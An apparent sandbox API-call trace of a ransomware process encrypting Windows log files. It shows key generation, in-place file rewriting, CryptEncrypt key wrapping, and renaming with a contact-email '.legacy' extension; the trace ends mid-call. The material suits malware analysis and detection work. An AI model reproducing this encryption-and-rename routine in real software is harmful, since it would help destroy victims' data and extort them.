CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0117.102] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl", dwFileAttributes=0x80) returned 1 [0117.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7160 [0117.103] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0117.103] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7160 | out: hHeap=0x520000) returned 1 [0117.103] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.103] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.103] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.103] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.103] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.110] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.110] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.111] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.111] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.111] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.111] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.112] WriteFile (in: hFile=0x694, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.112] CloseHandle (hObject=0x694) returned 1 [0117.112] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.112] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0117.112] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.002.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.002.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.114] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0117.114] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6910 | out: hHeap=0x520000) returned 1 [0117.114] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7328 | out: hHeap=0x520000) returned 1 [0117.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7328 [0117.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0117.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0117.114] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0117.114] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0117.114] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl", dwFileAttributes=0x80) returned 1 [0117.115] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7620 [0117.115] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0117.115] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7620 | out: hHeap=0x520000) returned 1 [0117.115] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.115] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0117.115] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7328 | out: hHeap=0x520000) returned 1 [0117.115] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6e68 | out: hHeap=0x520000) returned 1 [0117.115] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b368 [0117.115] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0117.116] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.116] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0117.116] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.116] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl", dwFileAttributes=0x80) returned 1 [0117.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b3f0 [0117.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55c150 [0117.117] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b3f0 | out: hHeap=0x520000) returned 1 [0117.117] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.017.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.117] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12288) returned 1 [0117.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x60dbe8 [0117.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x610bf0 [0117.117] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0117.128] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.128] WriteFile (in: hFile=0x694, lpBuffer=0x610bf0*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0117.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610bf0 | out: hHeap=0x520000) returned 1 [0117.128] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3000 [0117.128] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.128] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.129] WriteFile (in: hFile=0x694, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.129] WriteFile (in: hFile=0x694, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.129] CloseHandle (hObject=0x694) returned 1 [0117.129] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0117.129] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.130] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.017.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.017.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55c150 | out: hHeap=0x520000) returned 1 [0117.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b368 | out: hHeap=0x520000) returned 1 [0117.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b720 | out: hHeap=0x520000) returned 1 [0117.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b720 [0117.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0117.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0117.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0117.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0117.133] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl", dwFileAttributes=0x80) returned 1 [0117.134] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b9c8 [0117.134] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b8e0 [0117.134] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b9c8 | out: hHeap=0x520000) returned 1 [0117.134] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.016.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.135] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.135] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.135] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.135] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.138] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.138] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.138] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.138] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.138] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.139] WriteFile (in: hFile=0x694, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.139] WriteFile (in: hFile=0x694, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.139] CloseHandle (hObject=0x694) returned 1 [0117.139] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0117.139] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0117.140] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.016.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.016.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b8e0 | out: hHeap=0x520000) returned 1 [0117.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b720 | out: hHeap=0x520000) returned 1 [0117.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b2e0 | out: hHeap=0x520000) returned 1 [0117.141] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b3f0 [0117.142] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0117.142] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0117.142] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0117.142] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0117.142] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl", dwFileAttributes=0x80) returned 1 [0117.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b1d0 [0117.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b148 [0117.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b1d0 | out: hHeap=0x520000) returned 1 [0117.143] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.015.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.143] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.144] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.149] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.149] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.150] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.150] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.150] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.150] WriteFile (in: hFile=0x694, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.151] WriteFile (in: hFile=0x694, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.151] CloseHandle (hObject=0x694) returned 1 [0117.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0117.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0117.151] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.015.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.015.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b148 | out: hHeap=0x520000) returned 1 [0117.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b3f0 | out: hHeap=0x520000) returned 1 [0117.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b698 | out: hHeap=0x520000) returned 1 [0117.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60bad8 [0117.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0117.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0117.153] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0117.153] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0117.153] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl", dwFileAttributes=0x80) returned 1 [0117.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b368 [0117.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55c078 [0117.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b368 | out: hHeap=0x520000) returned 1 [0117.155] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.014.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.155] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.155] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.161] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.162] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.162] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.162] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.162] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.163] WriteFile (in: hFile=0x694, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.163] WriteFile (in: hFile=0x694, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.163] CloseHandle (hObject=0x694) returned 1 [0117.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0117.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0117.163] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.014.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.014.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55c078 | out: hHeap=0x520000) returned 1 [0117.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bad8 | out: hHeap=0x520000) returned 1 [0117.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ae18 | out: hHeap=0x520000) returned 1 [0117.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b2e0 [0117.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0117.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0117.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.166] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl", dwFileAttributes=0x80) returned 1 [0117.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b830 [0117.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, 